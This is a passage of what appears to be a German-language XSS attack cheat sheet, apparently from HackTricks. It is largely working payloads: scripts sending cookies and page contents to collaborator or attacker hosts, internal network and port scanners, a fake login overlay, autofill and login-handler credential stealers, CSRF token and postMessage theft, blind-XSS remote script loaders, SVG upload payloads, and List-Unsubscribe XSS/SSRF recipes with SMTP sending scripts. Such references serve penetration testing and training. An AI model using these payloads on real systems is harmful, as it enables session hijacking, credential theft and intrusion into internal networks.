<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Du kannst nicht von JavaScript auf die Cookies zugreifen, wenn das HTTPOnly-Flag im Cookie gesetzt ist. Aber hier findest du einige Möglichkeiten, diesen Schutz zu umgehen, falls du genügend Glück hast.

Seiteninhalt stehlen

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Interne IP-Adressen finden

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kurze Zeiten weisen auf einen antwortenden port hin Längere Zeiten deuten auf keine Antwort hin.

Siehe die Liste der in Chrome gesperrten ports here und die in Firefox here.

Box zur Abfrage von credentials

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Erfassung von Auto-fill passwords

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Wenn im Passwortfeld irgendwelche Daten eingegeben werden, werden Benutzername und Passwort an den Server des Angreifers gesendet — selbst wenn der Client ein gespeichertes Passwort auswählt und nichts tippt, werden die Credentials ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Wenn ein kritischer Handler (z. B. function DoLogin(){...}) weiter unten auf der Seite deklariert wird und dein Payload früher ausgeführt wird (z. B. via einem inline JS-in-JS sink), definiere zuerst ein const mit demselben Namen, um den Handler vorwegzunehmen und zu sperren. Spätere Funktionsdeklarationen können einen const-Namen nicht erneut binden, wodurch dein hook die Kontrolle behält:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notes

  • Dies hängt von der Ausführungsreihenfolge ab: your injection muss vor der legitimen Deklaration ausgeführt werden.
  • If your payload is wrapped in eval(...), const/let bindings won’t become globals. Use the dynamic <script> injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
  • When keyword filters block code, combine with Unicode-escaped identifiers or eval(atob('...')) delivery, as shown above.

Keylogger

Beim Suchen auf github habe ich einige verschiedene gefunden:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage-Nachrichten stehlen

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

Wenn eine Seite event.origin aus einer postMessage speichert und dieses später in eine script URL einfügt, kontrolliert der Sender die origin der geladenen JS:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Ausnutzungsrezept (aus CAPIG):

  • Gates: feuert nur, wenn window.opener existiert und pixel_id allowlisted ist; origin wird nie geprüft.
  • Use CSP-allowed origin: auf eine Domain pivoten, die von der CSP des Opfers bereits erlaubt ist (z. B. ausgeloggte Hilfeseiten, die Analytics wie *.THIRD-PARTY.com zulassen) und dort /sdk/<pixel_id>/iwl.js per takeover/XSS/upload hosten.
  • Restore opener: in Android WebView macht window.name='x'; window.open(target,'x') die Seite zu ihrem eigenen opener; sende die bösartige postMessage aus einem gehijackten iframe.
  • Trigger: das iframe postet {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; das Parent lädt dann die Angreifer-iwl.js von der CSP-allowed origin und führt sie aus.

Das verwandelt origin-less postMessage validation in ein remote script loader primitive, das CSP überlebt, wenn du auf einer Origin landest, die von der Policy bereits erlaubt ist.

Supply-chain stored XSS via backend JS concatenation

Wenn ein Backend ein shared SDK erstellt, indem es JS-Strings mit benutzerkontrollierten Werten konkateniniert, kann jeder Quote/Structure-Breaker Script injizieren, das an alle Konsumenten ausgeliefert wird:

  • Beispielmuster (Meta CAPIG): der Server hängt cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); direkt an capig-events.js an.
  • Das Injizieren von ' oder "]} schließt das Literal/Objekt und fügt Angreifer-JS hinzu, wodurch stored XSS im verteilten SDK für jede Seite entsteht, die es lädt (first-party and third-party).

Stored XSS in generated reports when escaping is disabled

Wenn hochgeladene Dateien geparst werden und deren Metadaten in HTML-Reports mit deaktiviertem Escaping (|safe, custom renderers) ausgegeben werden, sind diese Metadaten ein stored XSS sink. Beispielablauf:

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name  # %s fed by xmlhost

Ein Django-Template rendert {{item|key:"title"|safe}}, sodass bösartiges HTML ausgeführt wird.

Exploit: Platziere entitätskodiertes HTML in einem beliebigen manifest/config-Feld, das den Bericht erreicht:

<data android:scheme="android_secret_code"
android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>

Wird mit |safe gerendert, gibt der Report <img ...> aus und führt beim Anzeigen JS aus.

Hunting: Suche nach report/notification builders, die geparste Felder in %s/f-strings wiederverwenden und auto-escape deaktivieren. Ein kodiertes Tag in einem hochgeladenen manifest/log/archive führt zu persistentem XSS für jeden Betrachter.

Missbrauch von Service Workers

Abusing Service Workers

Zugriff auf Shadow DOM

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Du kannst auch verwenden: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Zugriff auf versteckte Inhalte

Aus diesem Writeup kann man lernen, dass selbst wenn einige Werte aus JS verschwinden, sie trotzdem in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel lässt sich ein input eines REGEX noch finden, nachdem der Wert des Regex-Inputs entfernt wurde:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS Abusing other vulnerabilities

XSS in Markdown

Kann Markdown-Code injiziert werden, der gerendert wird? Vielleicht bekommst du XSS! Sieh dir an:

XSS in Markdown

XSS to SSRF

Hast du XSS auf einer Site, die Caching verwendet? Versuche, das auf SSRF zu upgraden durch Edge Side Include Injection mit diesem payload:

<esi:include src="http://yoursite.com/capture" />

Verwende es, um cookie-Einschränkungen, XSS-Filter und vieles mehr zu umgehen!
Mehr Informationen über diese Technik hier: XSLT.

XSS in dynamisch erstelltem PDF

Wenn eine Webseite ein PDF aus vom Benutzer kontrollierten Eingaben erzeugt, kannst du versuchen, den Bot auszutricksen, der das PDF erstellt, damit er beliebigen JS-Code ausführt.
Wenn der PDF creator bot irgendwelche HTML tags findet, wird er diese interpretieren, und du kannst dieses Verhalten ausnutzen, um eine Server XSS zu verursachen.

Server Side XSS (Dynamic PDF)

Wenn du keine HTML-Tags injizieren kannst, kann es sich lohnen, zu versuchen, PDF-Daten zu injizieren:

PDF Injection

XSS in Amp4Email

AMP, mit dem Ziel die Performance von Webpages auf mobilen Geräten zu beschleunigen, verwendet HTML-Tags ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Features, zugänglich über AMP components.

Das AMP for Email Format erweitert bestimmte AMP-Komponenten für E-Mails und ermöglicht Empfängern, direkt innerhalb ihrer E-Mails mit Inhalten zu interagieren.

Beispiel writeup XSS in Amp4Email in Gmail.

Missbrauch des List-Unsubscribe-Headers (Webmail XSS & SSRF)

Der RFC 2369 List-Unsubscribe Header bettet vom Angreifer kontrollierte URIs ein, die viele Webmail- und Mail-Clients automatisch in “Unsubscribe”-Buttons umwandeln. Wenn diese URIs ohne Validierung gerendert oder abgerufen werden, wird der Header zu einem Injection-Punkt für sowohl stored XSS (wenn der Unsubscribe-Link im DOM platziert ist) als auch SSRF (wenn der Server die Unsubscribe-Anfrage im Namen des Benutzers ausführt).

Stored XSS via javascript: URIs

  1. Schicke dir selbst eine E-Mail, in der der Header auf eine javascript: URI zeigt, während der Rest der Nachricht harmlos bleibt, damit Spam-Filter sie nicht blockieren.
  2. Stelle sicher, dass die UI den Wert rendert (viele Clients zeigen ihn in einem “List Info”-Bereich) und prüfe, ob das resultierende <a>-Tag angreiferkontrollierte Attribute wie href oder target erbt.
  3. Die Ausführung auslösen (z. B. STRG+Klick, Mittelklick oder “in neuem Tab öffnen”), wenn der Link target="_blank" verwendet; Browser werden das bereitgestellte JavaScript in der Origin der Webmail-Anwendung auswerten.
  4. Beobachte die stored-XSS primitive: die Payload bleibt mit der E-Mail erhalten und erfordert nur einen Klick zur Ausführung.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Das Newline-Byte (%0a) in der URI zeigt, dass selbst ungewöhnliche Zeichen die Rendering-Pipeline in verwundbaren Clients wie Horde IMP H5 überleben, die die Zeichenkette dann unverändert innerhalb des anchor tag ausgeben.

Minimal SMTP PoC, der einen bösartigen List-Unsubscribe header liefert ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Server-side unsubscribe proxies -> SSRF

Einige Clients, wie die Nextcloud Mail app, proxyen die Abmeldeaktion serverseitig: Ein Klick auf den Button veranlasst den Server, die angegebene URL selbst abzurufen. Das verwandelt den Header in ein SSRF-Primitiv, besonders wenn Administratoren 'allow_local_remote_servers' => true setzen (dokumentiert in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), was Anfragen an loopback und RFC1918 ranges erlaubt.

1. **Verfasse eine E-Mail**, in der `List-Unsubscribe` auf einen vom Angreifer kontrollierten Endpunkt zeigt (für blind SSRF Burp Collaborator / OAST verwenden).
2. **Behalte `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** bei, damit die UI einen Ein-Klick-Unsubscribe-Button anzeigt.
3. **Erfülle Vertrauensanforderungen**: Nextcloud führt z. B. HTTPS-Unsubscribe-Anfragen nur aus, wenn die DKIM-Prüfung erfolgreich ist; daher muss der Angreifer die E-Mail mit einer Domain signieren, die er kontrolliert.
4. **Zustelle die Nachricht** an ein Postfach, das vom Zielserver verarbeitet wird, und warte, bis ein Benutzer den unsubscribe button klickt.
5. **Beobachte den serverseitigen Callback** am Collaborator-Endpunkt und pivotiere dann zu internen Adressen, sobald das Primitiv bestätigt ist.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signierte List-Unsubscribe-Nachricht für SSRF-Tests ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Testhinweise**

- Verwende einen OAST-Endpunkt, um blindes SSRF zu erfassen, und passe anschließend die `List-Unsubscribe`-URL an, sodass sie — nachdem das Primitive bestätigt wurde — auf `http://127.0.0.1:PORT`, Metadaten-Dienste oder andere interne Hosts zielt.
- Da der Abmelde-Helfer häufig denselben HTTP-Stack wie die Anwendung wiederverwendet, erbst du dessen Proxy-Einstellungen, HTTP-Verben und Header-Rewrites, wodurch weitere Traversal-Tricks möglich werden, die in der [SSRF methodology](../ssrf-server-side-request-forgery/README.md) beschrieben sind.

### XSS: Dateien hochladen (svg)

Lade als Bild eine Datei wie die folgende hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Finde mehr SVG payloads in https://github.com/allanlw/svg-cheatsheet

Verschiedene JS-Tricks & relevante Infos

Misc JS Tricks & Relevant Info

XSS-Ressourcen

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks